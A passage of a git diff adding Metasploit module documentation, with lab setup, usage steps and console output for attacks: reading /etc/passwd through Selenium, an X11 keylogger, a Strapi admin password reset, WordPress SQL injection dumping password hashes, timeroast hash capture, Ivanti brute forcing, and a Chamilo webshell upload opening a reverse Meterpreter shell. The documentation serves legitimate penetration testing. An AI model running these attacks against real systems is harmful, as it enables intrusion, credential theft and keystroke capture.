+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
+seluser:x:1200:1201::/home/seluser:/bin/bash
+systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
+messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
+pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
+
+[*] Deleted session (363b104ba9d167f434518d3eb1add0c6).
+[*] Auxiliary module execution completed
+```
+
+### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
+```
+msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge
+[*] Running module against 192.168.56.16
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5).
+[+] /etc/passwd
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
+seluser:x:1200:1201::/home/seluser:/bin/bash
+systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
+messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
+pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
+
+[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5).
+[*] Auxiliary module execution completed
+```
diff --git a/documentation/modules/auxiliary/gather/windows_secrets_dump.md b/documentation/modules/auxiliary/gather/windows_secrets_dump.md
index 3d08b25cbdfc..b0a94e59012f 100644
--- a/documentation/modules/auxiliary/gather/windows_secrets_dump.md
+++ b/documentation/modules/auxiliary/gather/windows_secrets_dump.md
@@ -27,7 +27,7 @@ Solino.
### Setup
A privileged user is required to run this module, typically a local or domain
Administrator. It has been tested against multiple Windows versions, from
-Windows XP/Server 2003 to Windows 10/Server version 2004.
+Windows XP/Server 2003 to Windows 10/Server version 2022.
## Verification Steps
1. Start msfconsole
@@ -53,6 +53,18 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
Use inline technique to read protected keys from the registry remotely without
saving the hives to disk (default: true).
+### KRB_USERS
+Restrict retrieving domain information to the users or groups specified. This
+is a comma-separated list of Active Directory groups and users. This parameter
+is only utilised for domain replication (`action` set to `DOMAIN` or `ALL`).
+`set KRB_USERS "user1,user2,Domain Admins"
+
+### KRB_TYPES
+Restrict retrieving domain information to a specific type of account; either
+`USERS_ONLY` or `COMPUTERS_ONLY`, or `ALL` to retrieve all accounts. This
+parameter is only utilised for domain replication (`action` set to `DOMAIN` or
+`ALL`). It is ignored if `KRB_USERS` is also set.
+
## Actions
### ALL
diff --git a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md
new file mode 100644
index 000000000000..c6a52cf9e5ec
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md
@@ -0,0 +1,171 @@
+## Vulnerable Application
+
+This module binds to an open X11 host to log keystrokes. The X11 service can accept
+connections from any users when misconfigured with the command `xhost +`.
+This module is a close copy of the old xspy c program which has been on Kali for a long time.
+The module works by connecting to the X11 session, creating a background
+window, binding a keyboard to it and creating a notification alert when a key
+is pressed.
+
+One of the major limitations of xspy, and thus this module, is that it polls
+at a very fast rate, faster than a key being pressed is released (especially before
+the repeat delay is hit). To combat printing multiple characters for a single key
+press, repeat characters arent printed when typed in a very fast manor. This is also
+an imperfect keylogger in that keystrokes arent stored and forwarded but status
+displayed at poll time. Keys may be repeated or missing.
+
+### Ubuntu 10.04
+
+1. `sudo nano /etc/gdm/gdm.schemas`
+2. Find:
+
+ ```
+
+ security/DisallowTCP
+ b
+ true
+
+ ```
+ - Change `true` to `false`
+
+3. logout or reboot
+4. Verification: ```sudo netstat -antp | grep 6000```
+
+ ```
+ tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
+ ```
+
+5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
+
+### Ubuntu 12.04, 14.04
+
+1. `sudo nano /etc/lightdm/lightdm.conf`
+2. Under the `[SeatDefaults]` area, add:
+
+ ```
+ xserver-allow-tcp=true
+ allow-guest=true
+ ```
+
+3. logout or reboot
+4. Verification: ```sudo netstat -antp | grep 6000```
+
+ ```
+ tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
+ ```
+
+5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
+
+### Ubuntu 16.04
+
+ Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*`
+
+### Fedora 15
+
+1. `vi /etc/gdm/custom.conf`
+2. Under the `[security]` area, add:
+
+ ```
+ DisallowTCP=false
+ ```
+
+3. logout/reboot
+4. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
+
+### Solaris 10
+
+1. `svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true`
+2. `svc disable cde-login`
+3. `svc enable cde-login`
+4. `xhost +`
+
+### Ubuntu 22.04
+
+#### Server
+
+Getting X11 to listen on a TCP port is rather taxing, so we use socat to facilitate instead.
+
+1. `sudo apt-get install ubuntu-desktop socat` # overkill but it gets everything we need
+2. `sudo reboot` # prob a good idea since so much was installed
+3. `sudo xhost +` # must be done through gui, not through SSH
+4. `socat -d -d TCP-LISTEN:6000,fork,bind= UNIX-CONNECT:/tmp/.X11-unix/X0`, you may need to use `X1` instead of `X0` depending on context.
+
+## Verification Steps
+
+1. Configure X11 to listen on port 6000, or use `socat` to open a socket.
+1. Start msfconsole
+1. Do: `use auxiliary/gather/x11_keyboard_spy`
+1. Do: `set rhosts [IP]`
+1. Do: `run`
+1. You should print keystrokes as they're pressed
+
+## Options
+
+### LISTENER_TIMEOUT
+
+How many seconds to keylog for.
+If set to `0`, wait forever. Defaults to `600`, 10 minutes.
+
+### PRINTERVAL
+
+The interval to print keylogs in seconds. Defaults to `60`.
+
+## Scenarios
+
+### Ubuntu 22.04
+
+```
+[*] Processing xspy.rb for ERB directives.
+resource (xspy.rb)> use auxiliary/gather/x11_keyboard_spy
+resource (xspy.rb)> set verbose true
+verbose => true
+resource (xspy.rb)> set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf6 auxiliary(gather/x11_keyboard_spy) > run
+[*] Running module against 127.0.0.1
+
+[*] 127.0.0.1:6000 - Establishing TCP Connection
+[*] 127.0.0.1:6000 - [1/9] Establishing X11 connection
+[-] 127.0.0.1:6000 - Connection packet malformed (size: 8192), attempting to get read more data
+[+] 127.0.0.1:6000 - Successfully established X11 connection
+[*] 127.0.0.1:6000 - Version: 11.0
+[*] 127.0.0.1:6000 - Screen Resolution: 958x832
+[*] 127.0.0.1:6000 - Resource ID: 33554432
+[*] 127.0.0.1:6000 - Screen root: 1320
+[*] 127.0.0.1:6000 - [2/9] Checking on BIG-REQUESTS extension
+[+] 127.0.0.1:6000 - Extension BIG-REQUESTS is present with id 134
+[*] 127.0.0.1:6000 - [3/9] Enabling BIG-REQUESTS
+[*] 127.0.0.1:6000 - [4/9] Creating new graphical context
+[*] 127.0.0.1:6000 - [5/9] Checking on XKEYBOARD extension
+[+] 127.0.0.1:6000 - Extension XKEYBOARD is present with id 136
+[*] 127.0.0.1:6000 - [6/9] Enabling XKEYBOARD
+[*] 127.0.0.1:6000 - [7/9] Requesting XKEYBOARD map
+[*] 127.0.0.1:6000 - [8/9] Enabling notification on keyboard and map
+[*] 127.0.0.1:6000 - [9/9] Creating local keyboard map
+[+] 127.0.0.1:6000 - All setup, watching for keystrokes
+[+] 127.0.0.1:6000 - X11 Key presses observed: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do
+[-] 127.0.0.1:6000 - No key presses observed
+[-] 127.0.0.1:6000 - No key presses observed
+[-] 127.0.0.1:6000 - No key presses observed
+[-] 127.0.0.1:6000 - No key presses observed
+[-] 127.0.0.1:6000 - No key presses observed
+[-] 127.0.0.1:6000 - No key presses observed
+[-] 127.0.0.1:6000 - No key presses observed
+[-] 127.0.0.1:6000 - No key presses observed
+[*] 127.0.0.1:6000 - Closing X11 connection
+[+] 127.0.0.1:6000 - Logged keys stored to: /root/.msf4/loot/20240226150211_default_127.0.0.1_x11.keylogger_839830.txt
+[-] 127.0.0.1:6000 - Stopping running against current target...
+[*] 127.0.0.1:6000 - Control-C again to force quit all targets.
+[*] Auxiliary module execution completed
+```
+
+## Confirming
+
+To keylog the remote host, we use a tool called [xspy](http://tools.kali.org/sniffingspoofing/xspy)
+
+The output will be very similar to the metasploit module, but may differ. Compare the below two entries (spaces added to xspy for alignment):
+
+```
+xspy: the quck rown foxumps over the lazy do
+msf: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do
+```
diff --git a/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md b/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md
new file mode 100644
index 000000000000..d586ec57f280
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md
@@ -0,0 +1,59 @@
+## Vulnerable Application
+
+This module abuses the mishandling of a password reset request for
+Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user.
+
+Successfully tested against Strapi CMS version 3.0.0-beta.17.4.
+
+### Install
+
+
+```
+docker run -it -p 1337:1337 --rm node:16 /bin/bash
+export CXXFLAGS="-std=c++17"
+# Complete the quickstart
+npm install -g create-strapi-app@3.0.0-beta.17.4 && create-strapi-app yourProjectName
+```
+
+Navigate to http://localhost:1337/ to verify the application is running. Now create the first admin account at http://localhost:1337/admin
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use auxiliary/scanner/http/strapi_3_password_reset`
+1. Do: `set new_password testtesttest`
+1. Do: `set rport 1337`
+1. Do: `set rhosts 127.0.0.1`
+1. Do: `run`
+1. You should be able to reset the admin users password
+
+## Options
+
+### NEW_PASSWORD
+
+New Admin password. No default.
+
+## Scenarios
+
+### npx install of strapi 3.0.0-beta.17.4
+
+```
+msf6 > use auxiliary/scanner/http/strapi_3_password_reset
+msf6 auxiliary(scanner/http/strapi_3_password_reset) > set new_password testtesttest
+new_password => testtesttest
+msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rport 1337
+rport => 1337
+msf6 auxiliary(scanner/http/strapi_3_password_reset) > check
+[-] This module does not support check.
+msf6 auxiliary(scanner/http/strapi_3_password_reset) > run
+
+[*] Resetting admin password...
+[+] Password changed successfully!
+[+] User: superadminuser
+[+] Email: none@none.com
+[+] PASSWORD: testtesttest
+[*] Auxiliary module execution completed
+```
diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md
new file mode 100644
index 000000000000..507742d293c9
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md
@@ -0,0 +1,54 @@
+## Vulnerable Application
+
+Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability
+via the `question_id` parameter.
+
+An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information,
+such as usernames and password hashes, from the `wp_users` table.
+
+The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/).
+The specific vulnerable version can be found here: https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip
+
+## Verification Steps
+
+1. Install the WordPress application and the vulnerable version of the Perfect Survey plugin.
+2. Start `msfconsole`.
+3. Run: `use auxiliary/scanner/http/wp_perfect_survey_sqli`.
+4. Set the target host: `set RHOSTS [ip]`.
+5. Adjust other options as necessary, such as `TARGETURI` (default is `/`).
+6. Execute the module: `run`.
+7. The module should retrieve usernames and password hashes from the WordPress installation.
+
+## Options
+
+## Scenarios
+
+### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04
+
+#### Example
+
+```sh
+msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli
+[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli
+msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104
+RHOSTS => 192.168.1.104
+msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000
+RPORT => 8000
+msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress
+TARGETURI => /wordpress
+msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
+[*] Running module against 192.168.1.104
+
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable.
+[*] Exploiting SQLi in Perfect Survey plugin...
+[*] Extracting credential information
+
+WordPress User Credentials
+==========================
+
+ Username Email Hash
+ -------- ----- ----
+ admin admin@localhost.com $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1
+msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) >
+```
diff --git a/documentation/modules/auxiliary/scanner/ivanti/login_scanner.md b/documentation/modules/auxiliary/scanner/ivanti/login_scanner.md
new file mode 100644
index 000000000000..069a5df93c3f
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/ivanti/login_scanner.md
@@ -0,0 +1,19 @@
+## Description
+
+The module performs bruteforce attack against Ivanti Connect Secure.
+It allows to attack both regular user and admin as well - you can select which type of account to attack with `ADMIN` parameter.
+
+## Vulnerable Application
+
+- [Ivanti](https://www.ivanti.com/products/connect-secure-vpn)
+
+## Verification Steps
+
+1. `use auxiliary/scanner/ivanti/login_scanner`
+2. `set RHOSTS [IP]`
+3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
+4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
+5. `set ADMIN [attack admin?]`
+6. `run`
+
+
diff --git a/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.md b/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.md
new file mode 100644
index 000000000000..d0207cb4827a
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.md
@@ -0,0 +1,96 @@
+## Vulnerable Application
+
+## Verification Steps
+
+1. Use the supplied Dockerfile to start a vulnerable instance of the application
+ 1. Build it with: `docker build -t ntpd:4.2.8p3 .`
+ 1. Run it with: `docker run --rm -it --name ntp-server -p 123:123/udp ntpd:4.2.8p3`
+1. Start `msfconsole` and use the module
+1. Set the `RHOSTS` value as necessary
+1. Run the module and see that the target is vulnerable
+
+### Dockerfile
+Use this as `ntp.conf`:
+
+```
+# Basic NTP configuration
+server 0.pool.ntp.org iburst
+server 1.pool.ntp.org iburst
+server 2.pool.ntp.org iburst
+server 3.pool.ntp.org iburst
+
+driftfile /var/lib/ntp/ntp.drift
+
+# Enable authentication for secure associations
+enable auth
+
+# Define trusted keys
+trustedkey 1
+
+# Open restrictions for all clients on the local network (example: 192.168.0.0/16)
+restrict default kod nomodify notrap
+restrict 127.0.0.1
+restrict ::1
+restrict 192.168.0.0 mask 255.255.0.0 autokey
+
+# Uncomment to allow all clients (use cautiously)
+# restrict default kod nomodify notrap
+```
+
+Use this as `Dockerfile`:
+
+```
+ARG version=4.2.8p3
+FROM ubuntu:16.04
+ARG version
+
+# Install dependencies
+RUN apt-get update && apt-get install -y \
+ wget \
+ build-essential \
+ libcap-dev \
+ libssl-dev && \
+ apt-get clean
+
+# Download and build NTPD
+WORKDIR /tmp
+RUN wget https://web.archive.org/web/20240608062853/https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-$version.tar.gz && \
+ tar -xzf ntp-$version.tar.gz && \
+ cd ntp-$version && \
+ ./configure --prefix=/usr/local --enable-linuxcaps && \
+ make && \
+ make install && \
+ cd .. && \
+ rm -rf ntp-$version*
+
+# Add configuration file
+COPY ntp.conf /etc/ntp.conf
+
+# Expose NTP port (123)
+EXPOSE 123/udp
+
+# Run ntpd
+ENTRYPOINT ["/usr/local/bin/ntpd"]
+CMD ["-g", "-d", "-d"]
+```
+
+## Options
+
+## Scenarios
+
+### Ubuntu 16.04 NTPd 4.2.8p3
+
+```
+metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > set RHOSTS 192.168.159.128, 192.168.159.10
+RHOSTS => 192.168.159.128, 192.168.159.10
+metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > run
+[+] 192.168.159.128:123 - NTP - VULNERABLE: Accepted a NTP symmetric active association
+[*] Scanned 1 of 2 hosts (50% complete)
+[*] Scanned 1 of 2 hosts (50% complete)
+[*] Scanned 1 of 2 hosts (50% complete)
+[*] Scanned 1 of 2 hosts (50% complete)
+[*] Scanned 1 of 2 hosts (50% complete)
+[*] Scanned 2 of 2 hosts (100% complete)
+[*] Auxiliary module execution completed
+metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) >
+```
diff --git a/documentation/modules/auxiliary/scanner/ntp/timeroast.md b/documentation/modules/auxiliary/scanner/ntp/timeroast.md
new file mode 100644
index 000000000000..e36067740cf8
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/ntp/timeroast.md
@@ -0,0 +1,47 @@
+## Vulnerable Application
+Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
+48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
+that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
+because RIDs are sequential, they can easily be enumerated.
+
+## Verification Steps
+
+1. Setup a Windows domain controller target
+1. Start msfconsole
+1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action
+ 1. Note the RID (the last part of the SID) and password of the new account
+1. Use the `auxiliary/scanner/ntp/timeroast` module
+1. Set the `RHOSTS` option to the target domain controller
+1. Set the `RIDS` option to the RID of the new account
+1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a
+ database is connected
+
+## Options
+
+### RIDS
+The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator.
+
+## Scenarios
+
+### Windows 2019 x64 Domain Controller
+
+```
+msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205
+RIDS => 4200-4205
+msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10
+RHOSTS => 192.168.159.10
+msf6 auxiliary(scanner/ntp/timeroast) > run
+[*] Checking RID: 4200
+[*] Checking RID: 4201
+[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010
+[*] Checking RID: 4202
+[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0
+[*] Checking RID: 4203
+[*] Checking RID: 4204
+[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c
+[*] Checking RID: 4205
+[*] Waiting on 3 pending responses...
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf6 auxiliary(scanner/ntp/timeroast) >
+```
diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md
index 076611a7f14b..670127debfc6 100644
--- a/documentation/modules/auxiliary/scanner/smb/smb_login.md
+++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md
@@ -138,7 +138,7 @@ Local File System Commands
This session also works with the following modules:
auxiliary/admin/dcerpc/icpr_cert
- auxiliary/admin/dcerpc/samr_computer
+ auxiliary/admin/dcerpc/samr_account
auxiliary/admin/smb/delete_file
auxiliary/admin/smb/download_file
auxiliary/admin/smb/psexec_ntdsgrab
diff --git a/documentation/modules/auxiliary/server/relay/esc8.md b/documentation/modules/auxiliary/server/relay/esc8.md
index 5ee71457d47c..616fa1793692 100644
--- a/documentation/modules/auxiliary/server/relay/esc8.md
+++ b/documentation/modules/auxiliary/server/relay/esc8.md
@@ -10,7 +10,7 @@ on a given template.
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host
2. Start `msfconsole`
2. Do: `use auxiliary/server/relay/esc8`
-3. Set the `RANDOMIZE_TARGETS` option to the AD CS Web Enrollment server
+3. Set the `RELAY_TARGETS` option to the AD CS Web Enrollment server
4. Run the module and wait for a request to be relayed
## Options
@@ -20,10 +20,12 @@ The issue mode. This controls what the module will do once an authenticated sess
server. Must be one of the following options:
* ALL: Enumerate all available certificate templates and then issue each of them
-* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a
- user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it
- is a machine account.
-* QUERY_ONLY: Enumerate all available certificate templates but do not issue any
+* AUTO: Automatically select either the `User` or `DomainController` and `Machine` (`Computer`) templates to issue
+ based on if the authenticated user is a user or machine account. The determination is based on checking for a `$`
+ at the end of the name, which means that it is a machine account.
+* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates
+ available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
+ include `Machine` (AKA `Computer`) and `DomainController`
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
### CERT_TEMPLATE
diff --git a/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md b/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md
new file mode 100644
index 000000000000..afb53b7b3ec1
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md
@@ -0,0 +1,89 @@
+## Vulnerable Application
+Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
+a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
+`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
+`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
+by default.
+
+### Setup
+
+A vulnerable docker-compose configuration can be found at the following link: https://github.com/vulhub/vulhub/pull/559
+1. Clone the repo `git clone https://github.com/vulhub/vulhub.git`
+1. Checkout the pull request mentioned above: `git checkout CVE-2023-4220`
+1. Run `cd vulhub/chamilo/CVE-2023-4220`
+1. Start the environment: `docker compose up`
+1. Navigate to `http://127.0.0.1:8080` to complete the installation wizard.
+1. Note when filling out the database IP address and credentials - the DB hostname is the name of the container which is
+ `mariadb` (not `localhost` or `127.0.0.1`).
+1. Once the installation wizard is complete the target should be ready to be
+ exploited with the module. This container has the non-default `/files/` directory created already.
+
+## Verification Steps
+
+1. Start msfconsole
+1. Do: `use linux/http/chamilo_bigupload_webshell`
+1. Set the `RHOST`, `RPORT`, and `LHSOT` options
+1. Run the module
+1. Receive a Meterpreter session as the `www-data` user.
+
+## Scenarios
+### Chamilo 1.11.18 running in Docker
+```
+msf6 > use linux/http/chamilo_bigupload_webshell
+[*] Using configured payload php/meterpreter/reverse_tcp
+msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080
+rport => 8080
+msf6 exploit(linux/http/chamilo_bigupload_webshell) > set lhost 172.16.199.1
+lhost => 172.16.199.1
+msf6 exploit(linux/http/chamilo_bigupload_webshell) > show options
+
+Module options (exploit/linux/http/chamilo_bigupload_webshell):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 8080 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ VHOST no HTTP server virtual host
+
+
+Payload options (php/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ LHOST 172.16.199.1 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 PHP
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/chamilo_bigupload_webshell) > run
+
+[*] Started reverse TCP handler on 172.16.199.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.
+[+] The target is vulnerable. File upload was successful (CVE-2024-4220 was exploited successfully).
+[*] Sending stage (40004 bytes) to 172.16.199.1
+[+] Deleted 1nZaWHvP
+[+] Deleted kFAqQcbWxs.php
+[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:60031) at 2024-11-11 10:42:06 -0800
+
+meterpreter > getuid
+Server username: www-data
+meterpreter > sysinfo
+Computer : c2064983b0e1
+OS : Linux c2064983b0e1 6.10.11-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Oct 3 10:19:48 UTC 2024 x86_64
+Meterpreter : php/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md
new file mode 100644
index 000000000000..43ea42c8a3f5
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md
@@ -0,0 +1,275 @@
+## Vulnerable Application
+
+This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS**.
+
+The vulnerability lies in improper handling of Twig templates, which can be exploited
+to inject and execute arbitrary PHP code on the server via crafted HTTP requests.
+
+---
+
+### Affected Versions
+
+- **5.x Series**: `>= 5.0.0-RC1`, `< 5.5.2`
+- **4.x Series**: `>= 4.0.0-RC1`, `< 4.13.2`
+- **3.x Series**: `>= 3.0.0`, `< 3.9.14`
+
+---
+
+### Setting Up a Vulnerable Lab
+
+To test this exploit, follow these steps to set up a vulnerable Craft CMS environment.
+
+#### Docker Setup
+
+Install a specific vulnerable version of Craft CMS:
+
+```bash
+mkdir exploit-craft && \
+cd exploit-craft && \
+ # Configure DDEV (https://ddev.com/) project for Craft CMS \
+ddev config \
+ --project-type=craftcms \
+ --docroot=web \
+ --create-docroot \
+ --php-version="8.2" \
+ --database="mysql:8.0" \
+ --nodejs-version="20" && \
+ # Create the DDEV project
+ddev start -y && \
+ # Create Craft CMS with the specified version
+ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \
+ # Install a vulnerable Craft CMS version
+ddev composer require "craftcms/cms:5.5.0" \
+ --no-scripts \
+ --no-interaction --with-all-dependencies && \
+ # Set the security key for Craft CMS
+ddev craft setup/security-key && \
+ # Install Craft CMS
+ddev craft install/craft \
+ --username=admin \
+ --password=password123 \
+ --email=admin@example.com \
+ --site-name=Testsite \
+ --language=en \
+ --site-url='$DDEV_PRIMARY_URL' && \
+ # Enable register_argc_argv for PHP
+mkdir -p .ddev/php/ && \
+echo "register_argc_argv = On" > .ddev/php/php.ini && \
+ddev restart && \
+ # Launch the project
+echo 'Setup complete. Launching the project.' && \
+ddev launch
+```
+
+---
+
+## Verification Steps
+
+1. Start the vulnerable Craft CMS instance using the steps above.
+2. Launch `msfconsole`.
+3. Use the module: `use exploit/linux/http/craftcms_ftp_template`.
+4. Set `RHOSTS` to the target Craft CMS instance.
+5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed.
+6. Execute the exploit with the `run` command.
+7. If successful, the module will execute the payload on the target.
+
+---
+
+## Options
+No option
+
+## Scenarios
+
+#### Successful Exploitation Against Craft CMS 5.5.0
+
+**Setup**:
+
+- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`).
+- Metasploit Framework.
+
+**Steps**:
+
+To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps:
+
+1. Start `msfconsole`:
+```bash
+msfconsole
+```
+
+2. Load the module:
+```bash
+use exploit/linux/http/craftcms_ftp_template
+```
+
+3. Set the `RHOSTS` option to the target Craft CMS instance, for example:
+```bash
+set RHOSTS exploit-craft.ddev.site
+```
+
